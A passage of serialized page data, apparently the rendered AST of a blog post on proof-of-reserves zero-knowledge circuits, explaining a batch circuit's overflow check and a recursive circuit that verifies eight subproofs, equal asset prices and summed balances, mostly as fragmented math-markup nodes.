,[8053,25575],[98570],{"type":27,"value":80274},{"type":22,"tag":101,"props":98572,"children":98575},{"className":98573,"style":98574},[8053,25575],"margin-right:0.07847em;",[98576],{"type":27,"value":10165},{"type":22,"tag":101,"props":98578,"children":98580},{"className":98579,"style":96554},[8053],[98581],{"type":27,"value":6382},{"type":22,"tag":101,"props":98583,"children":98585},{"className":98584,"style":26034},[8053,25575],[98586],{"type":27,"value":26037},{"type":22,"tag":101,"props":98588,"children":98590},{"className":98589},[8053,25575],[98591],{"type":27,"value":80274},{"type":22,"tag":101,"props":98593,"children":98595},{"className":98594,"style":26034},[8053,25575],[98596],{"type":27,"value":98597},"FE",{"type":22,"tag":101,"props":98599,"children":98601},{"className":98600,"style":96554},[8053],[98602],{"type":27,"value":6382},{"type":22,"tag":101,"props":98604,"children":98606},{"className":98605,"style":98574},[8053,25575],[98607],{"type":27,"value":98608},"I",{"type":22,"tag":101,"props":98610,"children":98612},{"className":98611,"style":25576},[8053,25575],[98613],{"type":27,"value":98614},"NT",{"type":22,"tag":101,"props":98616,"children":98618},{"className":98617},[8053],[98619],{"type":27,"value":98620},"/512",{"type":27,"value":2169},{"type":22,"tag":9370,"props":98623,"children":98624},{},[98625],{"type":27,"value":98626},"(overflow check)",{"type":27,"value":98628}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":22,"tag":30,"props":98630,"children":98632},{"className":98631},[],[98633],{"type":27,"value":96412},{"type":27,"value":2261},{"type":22,"tag":23,"props":98636,"children":98637},{},[98638],{"type":27,"value":98639},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":22,"tag":23,"props":98641,"children":98642},{},[98643],{"type":22,"tag":7959,"props":98644,"children":98646},{"alt":54574,"src":98645},"/posts/por/batch-circuit-inputs.png",[],{"type":22,"tag":1760,"props":98648,"children":98650},{"id":98649},"recursive-circuit",[98651],{"type":27,"value":98652},"Recursive Circuit",{"type":22,"tag":23,"props":98654,"children":98655},{},[98656],{"type":27,"value":98657},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":22,"tag":23,"props":98659,"children":98660},{},[98661],{"type":22,"tag":9370,"props":98662,"children":98663},{},[98664],{"type":27,"value":96926},{"type":22,"tag":6839,"props":98666,"children":98667},{},[98668,98672,98677],{"type":22,"tag":6832,"props":98669,"children":98670},{},[98671],{"type":27,"value":96944},{"type":22,"tag":6832,"props":98673,"children":98674},{},[98675],{"type":27,"value":98676},"Asset prices",{"type":22,"tag":6832,"props":98678,"children":98679},{},[98680],{"type":27,"value":96939},{"type":22,"tag":23,"props":98682,"children":98683},{},[98684],{"type":22,"tag":9370,"props":98685,"children":98686},{},[98687],{"type":27,"value":96952},{"type":22,"tag":6839,"props":98689,"children":98690},{},[98691],{"type":22,"tag":6832,"props":98692,"children":98693},{},[98694],{"type":27,"value":98695},"8 subproofs",{"type":22,"tag":23,"props":98697,"children":98698},{},[98699],{"type":22,"tag":9370,"props":98700,"children":98701},{},[98702],{"type":27,"value":96973},{"type":22,"tag":6839,"props":98704,"children":98705},{},[98706,99116,99447,99814,100201],{"type":22,"tag":6832,"props":98707,"children":98708},{},[98709,99111,99112],{"type":22,"tag":30,"props":98710,"children":98712},{"className":98711},[8026,8027],[98713],{"type":22,"tag":101,"props":98714,"children":98716},{"className":98715},[8032],[98717],{"type":22,"tag":101,"props":98718,"children":98720},{"className":98719,"ariaHidden":5608},[8037],[98721,98857],{"type":22,"tag":101,"props":98722,"children":98724},{"className":98723},[8042],[98725,98729,98734,98739,98744,98749,98754,98759,98764,98769,98774,98779,98784,98789,98794,98799,98804,98809,98814,98819,98824,98829,98834,98839,98844,98848,98853],{"type":22,"tag":101,"props":98726,"children":98728},{"className":98727,"style":96496},[8047],[],{"type":22,"tag":101,"props":98730,"children":98732},{"className":98731},[8053,25575],[98733],{"type":27,"value":25717},{"type":22,"tag":101,"props":98735,"children":98737},{"className":98736},[8053,25575],[98738],{"type":27,"value":96524},{"type":22,"tag":101,"props":98740,"children":98742},{"className":98741},[8053,25575],[98743],{"type":27,"value":25717},{"type":22,"tag":101,"props":98745,"children":98747},{"className":98746},[8053,25575],[98748],{"type":27,"value":80},{"type":22,"tag":101,"props":98750,"children":98752},{"className":98751,"style":96566},[8053,25575],[98753],{"type":27,"value":96569},{"type":22,"tag":101,"props":98755,"children":98757},{"className":98756,"style":96554},[8053],[98758],{"type":27,"value":6382},{"type":22,"tag":101,"props":98760,"children":98762},{"className":98761},[8053,25575],[98763],{"type":27,"value":80},{"type":22,"tag":101,"props":98765,"children":98767},{"className":98766},[8053,25575],[98768],{"type":27,"value":96545},{"type":22,"tag":101,"props":98770,"children":98772},{"className":98771},[8053,25575],[98773],{"type":27,"value":25717},{"type":22,"tag":101,"props":98775,"children":98777},{"className":98776,"style":96554},[8053],[98778],{"type":27,"value":6382},{"type":22,"tag":101,"props":98780,"children":98782},{"className":98781},[8053,25575],[98783],{"type":27,"value":96562},{"type":22,"tag":101,"props":98785,"children":98787},{"className":98786,"style":96566},[8053,25575],[98788],{"type":27,"value":96569},{"type":22,"tag":101,"props":98790,"children":98792},{"className":98791},[8053,25575],[98793],{"type":27,"value":96575},{"type":22,"tag":101,"props":98795,"children":98797},{"className":98796},[8053,25575],[98798],{"type":27,"value":96581},{"type":22,"tag":101,"props":98800,"children":98802},{"className":98801},[25704],[98803],{"type":27,"value":2414},{"type":22,"tag":101,"props":98805,"children":98807},{"className":98806},[8053,25575],[98808],{"type":27,"value":80},{"type":22,"tag":101,"props":98810,"children":98812},{"className":98811},[8053,25575],[98813],{"type":27,"value":96545},{"type":22,"tag":101,"props":98815,"children":98817},{"className":98816},[8053,25575],[98818],{"type":27,"value":25717},{"type":22,"tag":101,"props":98820,"children":98822},{"className":98821,"style":96554},[8053],[98823],{"type":27,"value":6382},{"type":22,"tag":101,"props":98825,"children":98827},{"className":98826},[8053,25575],[98828],{"type":27,"value":60400},{"type":22,"tag":101,"props":98830,"children":98832},{"className":98831},[8053,25575],[98833],{"type":27,"value":96813},{"type":22,"tag":101,"props":98835,"children":98837},{"className":98836},[8053,25575],[98838],{"type":27,"value":55129},{"type":22,"tag":101,"props":98840,"children":98842},{"className":98841},[25726],[98843],{"type":27,"value":19412},{"type":22,"tag":101,"props":98845,"children":98847},{"className":98846,"style":8231},[8133],[],{"type":22,"tag":101,"props":98849,"children":98851},{"className":98850},[8236],[98852],{"type":27,"value":4340},{"type":22,"tag":101,"props":98854,"children":98856},{"className":98855,"style":8231},[8133],[],{"type":22,"tag":101,"props":98858,"children":98860},{"className":98859},[8042],[98861,98865,98870,98875,98880,98885,98890,98895,98901,98960,98965,98970,98975,98980,98985,98990,98995,99000,99006,99011,99016,99021,99026,99031,99036,99041,99046,99051,99056,99061,99066,99071,99076,99081,99086,99091,99096,99101,99106],{"type":22,"tag":101,"props":98862,"children":98864},{"className":98863,"style":96496},[8047],[],{"type":22,"tag":101,"props":98866,"children":98868},{"className":98867},[8053],[98869],{"type":27,"value":97144},{"type":22,"tag":101,"props":98871,"children":98873},{"className":98872},[8133],[98874],{"type":27,"value":25676},{"type":22,"tag":101,"props":98876,"children":98878},{"className":98877},[8053,25575],[98879],{"type":27,"value":14657},{"type":22,"tag":101,"props":98881,"children":98883},{"className":98882},[8053,25575],[98884],{"type":27,"value":96813},{"type":22,"tag":101,"props":98886,"children":98888},{"className":98887},[8053,25575],[98889],{"type":27,"value":7262},{"type":22,"tag":101,"props":98891,"children":98893},{"className":98892},[8053,25575],[98894],{"type":27,"value":23},{"type":22,"tag":101,"props":98896,"children":98898},{"className":98897},[8053,25575],[98899],{"type":27,"value":98900},"roo",{"type":22,"tag":101,"props":98902,"children":98904},{"className":98903},[8053],[98905,98911],{"type":22,"tag":101,"props":98906,"children":98909},{"className":98907,"style":98908},[8053,25575],"margin-right:0.10764em;",[98910],{"type":27,"value":37080},{"type":22,"tag":101,"props":98912,"children":98914},{"className":98913},[8069],[98915],{"type":22,"tag":101,"props":98916,"children":98918},{"className":98917},[8074,25629],[98919,98949],{"type":22,"tag":101,"props":98920,"children":98922},{"className":98921},[8079],[98923,98944],{"type":22,"tag":101,"props":98924,"children":98926},{"className":98925,"style":97083},[8084],[98927],{"type":22,"tag":101,"props":98928,"children":98930},{"style":98929},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[98931,98935],{"type":22,"tag":101,"props":98932,"children":98934},{"className":98933,"style":8094},[8093],[],{"type":22,"tag":101,"props":98936,"children":98938},{"className":98937},[8099,8100,8101,8102],[98939],{"type":22,"tag":101,"props":98940,"children":98942},{"className":98941},[8053,25575,8102],[98943],{"type":27,"value":7774},{"type":22,"tag":101,"props":98945,"children":98947},{"className":98946},[25732],[98948],{"type":27,"value":25735},{"type":22,"tag":101,"props":98950,"children":98952},{"className":98951},[8079],[98953],{"type":22,"tag":101,"props":98954,"children":98956},{"className":98955,"style":96637},[8084],[98957],{"type":22,"tag":101,"props":98958,"children":98959},{},[],{"type":22,"tag":101,"props":98961,"children":98963},{"className":98962},[8053],[98964],{"type":27,"value":231},{"type":22,"tag":101,"props":98966,"children":98968},{"className":98967},[8053,25575],[98969],{"type":27,"value":23},{"type":22,"tag":101,"props":98971,"children":98973},{"className":98972},[8053,25575],[98974],{"type":27,"value":96813},{"type":22,"tag":101,"props":98976,"children":98978},{"className":98977},[8053,25575],[98979],{"type":27,"value":7262},{"type":22,"tag":101,"props":98981,"children":98983},{"className":98982,"style":96566},[8053,25575],[98984],{"type":27,"value":96569},{"type":22,"tag":101,"props":98986,"children":98988},{"className":98987},[8053,25575],[98989],{"type":27,"value":7774},{"type":22,"tag":101,"props":98991,"children":98993},{"className":98992},[8053,25575],[98994],{"type":27,"value":7187},{"type":22,"tag":101,"props":98996,"children":98998},{"className":98997,"style":96554},[8053],[98999],{"type":27,"value":6382},{"type":22,"tag":101,"props":99001,"children":99003},{"className":99002},[8053,25575],[99004],{"type":27,"value":99005},"in",{"type":22,"tag":101,"props":99007,"children":99009},{"className":99008},[8053,25575],[99010],{"type":27,"value":23},{"type":22,"tag":101,"props":99012,"children":99014},{"className":99013},[8053,25575],[99015],{"type":27,"value":96813},{"type":22,"tag":101,"props":99017,"children":99019},{"className":99018},[8053,25575],[99020],{"type":27,"value":25717},{"type":22,"tag":101,"props":99022,"children":99024},{"className":99023},[8053],[99025],{"type":27,"value":231},{"type":22,"tag":101,"props":99027,"children":99029},{"className":99028},[8053,25575],[99030],{"type":27,"value":80},{"type":22,"tag":101,"props":99032,"children":99034},{"className":99033},[8053,25575],[99035],{"type":27,"value":96545},{"type":22,"tag":101,"props":99037,"children":99039},{"className":99038},[8053,25575],[99040],{"type":27,"value":25717},{"type":22,"tag":101,"props":99042,"children":99044},{"className":99043,"style":96554},[8053],[99045],{"type":27,"value":6382},{"type":22,"tag":101,"props":99047,"children":99049},{"className":99048},[8053,25575],[99050],{"type":27,"value":96562},{"type":22,"tag":101,"props":99052,"children":99054},{"className":99053,"style":96566},[8053,25575],[99055],{"type":27,"value":96569},{"type":22,"tag":101,"props":99057,"children":99059},{"className":99058},[8053,25575],[99060],{"type":27,"value":96575},{"type":22,"tag":101,"props":99062,"children":99064},{"className":99063},[8053,25575],[99065],{"type":27,"value":97384},{"type":22,"tag":101,"props":99067,"children":99069},{"className":99068},[25704],[99070],{"type":27,"value":2414},{"type":22,"tag":101,"props":99072,"children":99074},{"className":99073},[8053,25575],[99075],{"type":27,"value":80},{"type":22,"tag":101,"props":99077,"children":99079},{"className":99078},[8053,25575],[99080],{"type":27,"value":96545},{"type":22,"tag":101,"props":99082,"children":99084},{"className":99083},[8053,25575],[99085],{"type":27,"value":25717},{"type":22,"tag":101,"props":99087,"children":99089},{"className":99088,"style":96554},[8053],[99090],{"type":27,"value":6382},{"type":22,"tag":101,"props":99092,"children":99094},{"className":99093},[8053,25575],[99095],{"type":27,"value":60400},{"type":22,"tag":101,"props":99097,"children":99099},{"className":99098},[8053,25575],[99100],{"type":27,"value":96813},{"type":22,"tag":101,"props":99102,"children":99104},{"className":99103},[8053,25575],[99105],{"type":27,"value":55129},{"type":22,"tag":101,"props":99107,"children":99109},{"className":99108},[25726],[99110],{"type":27,"value":19412},{"type":27,"value":2169},{"type":22,"tag":9370,"props":99113,"children":99114},{},[99115],{"type":27,"value":97944},{"type":22,"tag":6832,"props":99117,"children":99118},{},[99119],{"type":22,"tag":30,"props":99120,"children":99122},{"className":99121},[8026,8027],[99123],{"type":22,"tag":101,"props":99124,"children":99126},{"className":99125},[8032],[99127],{"type":22,"tag":101,"props":99128,"children":99130},{"className":99129,"ariaHidden":5608},[8037],[99131,99237],{"type":22,"tag":101,"props":99132,"children":99134},{"className":99133},[8042],[99135,99139,99144,99149,99154,99159,99164,99169,99174,99179,99184,99189,99194,99199,99204,99209,99214,99219,99224,99228,99233],{"type":22,"tag":101,"props":99136,"children":99138},{"className":99137,"style":96496},[8047],[],{"type":22,"tag":101,"props":99140,"children":99142},{"className":99141},[8053,25575],[99143],{"type":27,"value":80},{"type":22,"tag":101,"props":99145,"children":99147},{"className":99146},[8053,25575],[99148],{"type":27,"value":96545},{"type":22,"tag":101,"props":99150,"children":99152},{"className":99151},[8053,25575],[99153],{"type":27,"value":25717},{"type":22,"tag":101,"props":99155,"children":99157},{"className":99156,"style":96554},[8053],[99158],{"type":27,"value":6382},{"type":22,"tag":101,"props":99160,"children":99162},{"className":99161},[8053,25575],[99163],{"type":27,"value":23},{"type":22,"tag":101,"props":99165,"children":99167},{"className":99166,"style":96554},[8053,25575],[99168],{"type":27,"value":97373},{"type":22,"tag":101,"props":99170,"children":99172},{"className":99171},[8053,25575],[99173],{"type":27,"value":7774},{"type":22,"tag":101,"props":99175,"children":99177},{"className":99176},[8053,25575],[99178],{"type":27,"value":96581},{"type":22,"tag":101,"props":99180,"children":99182},{"className":99181},[25704],[99183],{"type":27,"value":2414},{"type":22,"tag":101,"props":99185,"children":99187},{"className":99186},[8053,25575],[99188],{"type":27,"value":80},{"type":22,"tag":101,"props":99190,"children":99192},{"className":99191},[8053,25575],[99193],{"type":27,"value":96545},{"type":22,"tag":101,"props":99195,"children":99197},{"className":99196},[8053,25575],[99198],{"type":27,"value":25717},{"type":22,"tag":101,"props":99200,"children":99202},{"className":99201,"style":96554},[8053],[99203],{"type":27,"value":6382},{"type":22,"tag":101,"props":99205,"children":99207},{"className":99206},[8053,25575],[99208],{"type":27,"value":60400},{"type":22,"tag":101,"props":99210,"children":99212},{"className":99211},[8053,25575],[99213],{"type":27,"value":96813},{"type":22,"tag":101,"props":99215,"children":99217},{"className":99216},[8053,25575],[99218],{"type":27,"value":55129},{"type":22,"tag":101,"props":99220,"children":99222},{"className":99221},[25726],[99223],{"type":27,"value":19412},{"type":22,"tag":101,"props":99225,"children":99227},{"className":99226,"style":8231},[8133],[],{"type":22,"tag":101,"props":99229,"children":99231},{"className":99230},[8236],[99232],{"type":27,"value":4340},{"type":22,"tag":101,"props":99234,"children":99236},{"className":99235,"style":8231},[8133],[],{"type":22,"tag":101,"props":99238,"children":99240},{"className":99239},[8042],[99241,99245,99250,99255,99260,99265,99270,99327,99332,99337,99342,99347,99352,99357,99362,99367,99372,99377,99382,99387,99392,99397,99402,99407,99412,99417,99422,99427,99432,99437,99442],{"type":22,"tag":101,"props":99242,"children":99244},{"className":99243,"style":96496},[8047],[],{"type":22,"tag":101,"props":99246,"children":99248},{"className":99247},[8053,25575],[99249],{"type":27,"value":14657},{"type":22,"tag":101,"props":99251,"children":99253},{"className":99252},[8053,25575],[99254],{"type":27,"value":96813},{"type":22,"tag":101,"props":99256,"children":99258},{"className":99257},[8053,25575],[99259],{"type":27,"value":7262},{"type":22,"tag":101,"props":99261,"children":99263},{"className":99262},[8053,25575],[99264],{"type":27,"value":23},{"type":22,"tag":101,"props":99266,"children":99268},{"className":99267},[8053,25575],[99269],{"type":27,"value":98900},{"type":22,"tag":101,"props":99271,"children":99273},{"className":99272},[8053],[99274,99279],{"type":22,"tag":101,"props":99275,"children":99277},{"className":99276,"style":98908},[8053,25575],[99278],{"type":27,"value":37080},{"type":22,"tag":101,"props":99280,"children":99282},{"className":99281},[8069],[99283],{"type":22,"tag":101,"props":99284,"children":99286},{"className":99285},[8074,25629],[99287,99316],{"type":22,"tag":101,"props":99288,"children":99290},{"className":99289},[8079],[99291,99311],{"type":22,"tag":101,"props":99292,"children":99294},{"className":99293,"style":97083},[8084],[99295],{"type":22,"tag":101,"props":99296,"children":99297},{"style":98929},[99298,99302],{"type":22,"tag":101,"props":99299,"children":99301},{"className":99300,"style":8094},[8093],[],{"type":22,"tag":101,"props":99303,"children":99305},{"className":99304},[8099,8100,8101,8102],[99306],{"type":22,"tag":101,"props":99307,"children":99309},{"className":99308},[8053,25575,8102],[99310],{"type":27,"value":7774},{"type":22,"tag":101,"props":99312,"children":99314},{"className":99313},[25732],[99315],{"type":27,"value":25735},{"type":22,"tag":101,"props":99317,"children":99319},{"className":99318},[8079],[99320],{"type":22,"tag":101,"props":99321,"children":99323},{"className":99322,"style":96637},[8084],[99324],{"type":22,"tag":101,"props":99325,"children":99326},{},[],{"type":22,"tag":101,"props":99328,"children":99330},{"className":99329},[8053],[99331],{"type":27,"value":231},{"type":22,"tag":101,"props":99333,"children":99335},{"className":99334},[8053,25575],[99336],{"type":27,"value":23},{"type":22,"tag":101,"props":99338,"children":99340},{"className":99339},[8053,25575],[99341],{"type":27,"value":96813},{"type":22,"tag":101,"props":99343,"children":99345},{"className":99344},[8053,25575],[99346],{"type":27,"value":7262},{"type":22,"tag":101,"props":99348,"children":99350},{"className":99349,"style":96566},[8053,25575],[99351],{"type":27,"value":96569},{"type":22,"tag":101,"props":99353,"children":99355},{"className":99354},[8053,25575],[99356],{"type":27,"value":7774},{"type":22,"tag":101,"props":99358,"children":99360},{"className":99359},[8053,25575],[99361],{"type":27,"value":7187},{"type":22,"tag":101,"props":99363,"children":99365},{"className":99364,"style":96554},[8053],[99366],{"type":27,"value":6382},{"type":22,"tag":101,"props":99368,"children":99370},{"className":99369},[8053,25575],[99371],{"type":27,"value":99005},{"type":22,"tag":101,"props":99373,"children":99375},{"className":99374},[8053,25575],[99376],{"type":27,"value":23},{"type":22,"tag":101,"props":99378,"children":99380},{"className":99379},[8053,25575],[99381],{"type":27,"value":96813},{"type":22,"tag":101,"props":99383,"children":99385},{"className":99384},[8053,25575],[99386],{"type":27,"value":25717},{"type":22,"tag":101,"props":99388,"children":99390},{"className":99389},[8053],[99391],{"type":27,"value":231},{"type":22,"tag":101,"props":99393,"children":99395},{"className":99394},[8053,25575],[99396],{"type":27,"value":80},{"type":22,"tag":101,"props":99398,"children":99400},{"className":99399},[8053,25575],[99401],{"type":27,"value":96545},{"type":22,"tag":101,"props":99403,"children":99405},{"className":99404},[8053,25575],[99406],{"type":27,"value":25717},{"type":22,"tag":101,"props":99408,"children":99410},{"className":99409,"style":96554},[8053],[99411],{"type":27,"value":6382},{"type":22,"tag":101,"props":99413,"children":99415},{"className":99414},[8053,25575],[99416],{"type":27,"value":23},{"type":22,"tag":101,"props":99418,"children":99420},{"className":99419,"style":96554},[8053,25575],[99421],{"type":27,"value":97373},{"type":22,"tag":101,"props":99423,"children":99425},{"className":99424},[8053,25575],[99426],{"type":27,"value":7774},{"type":22,"tag":101,"props":99428,"children":99430},{"className":99429},[8053,25575],[99431],{"type":27,"value":97384},{"type":22,"tag":101,"props":99433,"children":99435},{"className":99434},[25704],[99436],{"type":27,"value":2414},{"type":22,"tag":101,"props":99438,"children":99440},{"className":99439},[8053],[99441],{"type":27,"value":8065},{"type":22,"tag":101,"props":99443,"children":99445},{"className":99444},[25726],[99446],{"type":27,"value":19412},{"type":22,"tag":6832,"props":99448,"children":99449},{},[99450,99808,99809],{"type":22,"tag":30,"props":99451,"children":99453},{"className":99452},[8026,8027],[99454],{"type":22,"tag":101,"props":99455,"children":99457},{"className":99456},[8032],[99458],{"type":22,"tag":101,"props":99459,"children":99461},{"className":99460,"ariaHidden":5608},[8037],[99462,99568],{"type":22,"tag":101,"props":99463,"children":99465},{"className":99464},[8042],[99466,99470,99475,99480,99485,99490,99495,99500,99505,99510,99515,99520,99525,99530,99535,99540,99545,99550,99555,99559,99564],{"type":22,"tag":101,"props":99467,"children":99469},{"className":99468,"style":96496},[8047],[],{"type":22,"tag":101,"props":99471,"children":99473},{"className":99472},[8053,25575],[99474],{"type":27,"value":80},{"type":22,"tag":101,"props":99476,"children":99478},{"className":99477},[8053,25575],[99479],{"type":27,"value":96545},{"type":22,"tag":101,"props":99481,"children":99483},{"className":99482},[8053,25575],[99484],{"type":27,"value":25717},{"type":22,"tag":101,"props":99486,"children":99488},{"className":99487,"style":96554},[8053],[99489],{"type":27,"value":6382},{"type":22,"tag":101,"props":99491,"children":99493},{"className":99492},[8053,25575],[99494],{"type":27,"value":23},{"type":22,"tag":101,"props":99496,"children":99498},{"className":99497,"style":96554},[8053,25575],[99499],{"type":27,"value":97373},{"type":22,"tag":101,"props":99501,"children":99503},{"className":99502},[8053,25575],[99504],{"type":27,"value":7774},{"type":22,"tag":101,"props":99506,"children":99508},{"className":99507},[8053,25575],[99509],{"type":27,"value":96581},{"type":22,"tag":101,"props":99511,"children":99513},{"className":99512},[25704],[99514],{"type":27,"value":2414},{"type":22,"tag":101,"props":99516,"children":99518},{"className":99517},[8053,25575],[99519],{"type":27,"value":80},{"type":22,"tag":101,"props":99521,"children":99523},{"className":99522},[8053,25575],[99524],{"type":27,"value":96545},{"type":22,"tag":101,"props":99526,"children":99528},{"className":99527},[8053,25575],[99529],{"type":27,"value":25717},{"type":22,"tag":101,"props":99531,"children":99533},{"className":99532,"style":96554},[8053],[99534],{"type":27,"value":6382},{"type":22,"tag":101,"props":99536,"children":99538},{"className":99537},[8053,25575],[99539],{"type":27,"value":60400},{"type":22,"tag":101,"props":99541,"children":99543},{"className":99542},[8053,25575],[99544],{"type":27,"value":96813},{"type":22,"tag":101,"props":99546,"children":99548},{"className":99547},[8053,25575],[99549],{"type":27,"value":55129},{"type":22,"tag":101,"props":99551,"children":99553},{"className":99552},[25726],[99554],{"type":27,"value":19412},{"type":22,"tag":101,"props":99556,"children":99558},{"className":99557,"style":8231},[8133],[],{"type":22,"tag":101,"props":99560,"children":99562},{"className":99561},[8236],[99563],{"type":27,"value":4340},{"type":22,"tag":101,"props":99565,"children":99567},{"className":99566,"style":8231},[8133],[],{"type":22,"tag":101,"props":99569,"children":99571},{"className":99570},[8042],[99572,99576,99581,99586,99591,99596,99601,99658,99663,99668,99673,99678,99683,99688,99693,99698,99703,99708,99713,99718,99723,99728,99733,99738,99743,99748,99753,99758,99763,99768,99773,99778,99783,99788,99793,99798,99803],{"type":22,"tag":101,"props":99573,"children":99575},{"className":99574,"style":96496},[8047],[],{"type":22,"tag":101,"props":99577,"children":99579},{"className":99578},[8053,25575],[99580],{"type":27,"value":14657},{"type":22,"tag":101,"props":99582,"children":99584},{"className":99583},[8053,25575],[99585],{"type":27,"value":96813},{"type":22,"tag":101,"props":99587,"children":99589},{"className":99588},[8053,25575],[99590],{"type":27,"value":7262},{"type":22,"tag":101,"props":99592,"children":99594},{"className":99593},[8053,25575],[99595],{"type":27,"value":23},{"type":22,"tag":101,"props":99597,"children":99599},{"className":99598},[8053,25575],[99600],{"type":27,"value":98900},{"type":22,"tag":101,"props":99602,"children":99604},{"className":99603},[8053],[99605,99610],{"type":22,"tag":101,"props":99606,"children":99608},{"className":99607,"style":98908},[8053,25575],[99609],{"type":27,"value":37080},{"type":22,"tag":101,"props":99611,"children":99613},{"className":99612},[8069],[99614],{"type":22,"tag":101,"props":99615,"children":99617},{"className":99616},[8074,25629],[99618,99647],{"type":22,"tag":101,"props":99619,"children":99621},{"className":99620},[8079],[99622,99642],{"type":22,"tag":101,"props":99623,"children":99625},{"className":99624,"style":97083},[8084],[99626],{"type":22,"tag":101,"props":99627,"children":99628},{"style":98929},[99629,99633],{"type":22,"tag":101,"props":99630,"children":99632},{"className":99631,"style":8094},[8093],[],{"type":22,"tag":101,"props":99634,"children":99636},{"className":99635},[8099,8100,8101,8102],[99637],{"type":22,"tag":101,"props":99638,"children":99640},{"className":99639},[8053,25575,8102],[99641],{"type":27,"value":7774},{"type":22,"tag":101,"props":99643,"children":99645},{"className":99644},[25732],[99646],{"type":27,"value":25735},{"type":22,"tag":101,"props":99648,"children":99650},{"className":99649},[8079],[99651],{"type":22,"tag":101,"props":99652,"children":99654},{"className":99653,"style":96637},[8084],[99655],{"type":22,"tag":101,"props":99656,"children":99657},{},[],{"type":22,"tag":101,"props":99659,"children":99661},{"className":99660},[8053],[99662],{"type":27,"value":231},{"type":22,"tag":101,"props":99664,"children":99666},{"className":99665},[8053,25575],[99667],{"type":27,"value":23},{"type":22,"tag":101,"props":99669,"children":99671},{"className":99670},[8053,25575],[99672],{"type":27,"value":96813},{"type":22,"tag":101,"props":99674,"children":99676},{"className":99675},[8053,25575],[99677],{"type":27,"value":7262},{"type":22,"tag":101,"props":99679,"children":99681},{"className":99680,"style":96566},[8053,25575],[99682],{"type":27,"value":96569},{"type":22,"tag":101,"props":99684,"children":99686},{"className":99685},[8053,25575],[99687],{"type":27,"value":7774},{"type":22,"tag":101,"props":99689,"children":99691},{"className":99690},[8053,25575],[99692],{"type":27,"value":7187},{"type":22,"tag":101,"props":99694,"children":99696},{"className":99695,"style":96554},[8053],[99697],{"type":27,"value":6382},{"type":22,"tag":101,"props":99699,"children":99701},{"className":99700},[8053,25575],[99702],{"type":27,"value":99005},{"type":22,"tag":101,"props":99704,"children":99706},{"className":99705},[8053,25575],[99707],{"type":27,"value":23},{"type":22,"tag":101,"props":99709,"children":99711},{"className":99710},[8053,25575],[99712],{"type":27,"value":96813},{"type":22,"tag":101,"props":99714,"children":99716},{"className":99715},[8053,25575],[99717],{"type":27,"value":25717},{"type":22,"tag":101,"props":99719,"children":99721},{"className":99720},[8053],[99722],{"type":27,"value":231},{"type":22,"tag":101,"props":99724,"children":99726},{"className":99725},[8053,25575],[99727],{"type":27,"value":80},{"type":22,"tag":101,"props":99729,"children":99731},{"className":99730},[8053,25575],[99732],{"type":27,"value":96545},{"type":22,"tag":101,"props":99734,"children":99736},{"className":99735},[8053,25575],[99737],{"type":27,"value":25717},{"type":22,"tag":101,"props":99739,"children":99741},{"className":99740,"style":96554},[8053],[99742],{"type":27,"value":6382},{"type":22,"tag":101,"props":99744,"children":99746},{"className":99745},[8053,25575],[99747],{"type":27,"value":23},{"type":22,"tag":101,"props":99749,"children":99751},{"className":99750,"style":96554},[8053,25575],[99752],{"type":27,"value":97373},{"type":22,"tag":101,"props":99754,"children":99756},{"className":99755},[8053,25575],[99757],{"type":27,"value":7774},{"type":22,"tag":101,"props":99759,"children":99761},{"className":99760},[8053,25575],[99762],{"type":27,"value":97384},{"type":22,"tag":101,"props":99764,"children":99766},{"className":99765},[25704],[99767],{"type":27,"value":2414},{"type":22,"tag":101,"props":99769,"children":99771},{"className":99770},[8053,25575],[99772],{"type":27,"value":80},{"type":22,"tag":101,"props":99774,"children":99776},{"className":99775},[8053,25575],[99777],{"type":27,"value":96545},{"type":22,"tag":101,"props":99779,"children":99781},{"className":99780},[8053,25575],[99782],{"type":27,"value":25717},{"type":22,"tag":101,"props":99784,"children":99786},{"className":99785,"style":96554},[8053],[99787],{"type":27,"value":6382},{"type":22,"tag":101,"props":99789,"children":99791},{"className":99790},[8053,25575],[99792],{"type":27,"value":60400},{"type":22,"tag":101,"props":99794,"children":99796},{"className":99795},[8053,25575],[99797],{"type":27,"value":96813},{"type":22,"tag":101,"props":99799,"children":99801},{"className":99800},[8053,25575],[99802],{"type":27,"value":55129},{"type":22,"tag":101,"props":99804,"children":99806},{"className":99805},[25726],[99807],{"type":27,"value":19412},{"type":27,"value":2169},{"type":22,"tag":9370,"props":99810,"children":99811},{},[99812],{"type":27,"value":99813},"(verifies if all asset prices are the same)",{"type":22,"tag":6832,"props":99815,"children":99816},{},[99817,100196,100197],{"type":22,"tag":30,"props":99818,"children":99820},{"className":99819},[8026,8027],[99821],{"type":22,"tag":101,"props":99822,"children":99824},{"className":99823},[8032],[99825],{"type":22,"tag":101,"props":99826,"children":99828},{"className":99827,"ariaHidden":5608},[8037],[99829,99910],{"type":22,"tag":101,"props":99830,"children":99832},{"className":99831},[8042],[99833,99837,99842,99847,99852,99857,99862,99867,99872,99877,99882,99887,99892,99897,99901,99906],{"type":22,"tag":101,"props":99834,"children":99836},{"className":99835,"style":97967},[8047],[],{"type":22,"tag":101,"props":99838,"children":99840},{"className":99839},[8053,25575],[99841],{"type":27,"value":55129},{"type":22,"tag":101,"props":99843,"children":99845},{"className":99844,"style":96554},[8053,25575],[99846],{"type":27,"value":97979},{"type":22,"tag":101,"props":99848,"children":99850},{"className":99849,"style":97983},[8053,25575],[99851],{"type":27,"value":92191},{"type":22,"tag":101,"props":99853,"children":99855},{"className":99854,"style":96566},[8053,25575],[99856],{"type":27,"value":96569},{"type":22,"tag":101,"props":99858,"children":99860},{"className":99859},[8053,25575],[99861],{"type":27,"value":55450},{"type":22,"tag":101,"props":99863,"children":99865},{"className":99864,"style":96554},[8053],[99866],{"type":27,"value":6382},{"type":22,"tag":101,"props":99868,"children":99870},{"className":99869},[8053,25575],[99871],{"type":27,"value":25717},{"type":22,"tag":101,"props":99873,"children":99875},{"className":99874},[8053,25575],[99876],{"type":27,"value":98011},{"type":22,"tag":101,"props":99878,"children":99880},{"className":99879,"style":96554},[8053],[99881],{"type":27,"value":6382},{"type":22,"tag":101,"props":99883,"children":99885},{"className":99884},[8053,25575],[99886],{"type":27,"value":98022},{"type":22,"tag":101,"props":99888,"children":99890},{"className":99889},[8053,25575],[99891],{"type":27,"